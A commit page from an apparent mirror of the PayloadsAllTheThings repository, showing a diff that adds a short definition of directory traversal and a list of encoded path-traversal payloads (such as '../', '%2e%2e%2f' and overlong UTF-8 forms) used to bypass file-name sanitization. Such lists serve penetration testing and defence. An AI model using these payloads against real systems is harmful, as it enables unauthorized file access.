daffainfo
/
PayloadsAllTheThings
mirror of https://github.com/daffainfo/PayloadsAllTheThings.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Traversal Directory payloads

patch-1
swisskyrepo 2016-10-19 07:51:24 +07:00
parent bed3967509
commit 4dcb7cc6ea
1 changed files with 14 additions and 6 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

20
Traversal_Directory/README.md
View File

@ -1,12 +1,20 @@
# Title # Traversal Directory
Lorem A directory traversal consists in exploiting insufficient security validation / sanitization of user-supplied input file names, so that characters representing "traverse to parent directory" are passed through to the file APIs.
## Vuln ## Exploit
``` ```
Code ../
..\
..\/
%2e%2e%2f
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%uff0e%uff0e%u2215
%uff0e%uff0e%u2216
..././
...\.\
``` ```
## Thanks to ## Thanks to
* Lorem *
* Ipsum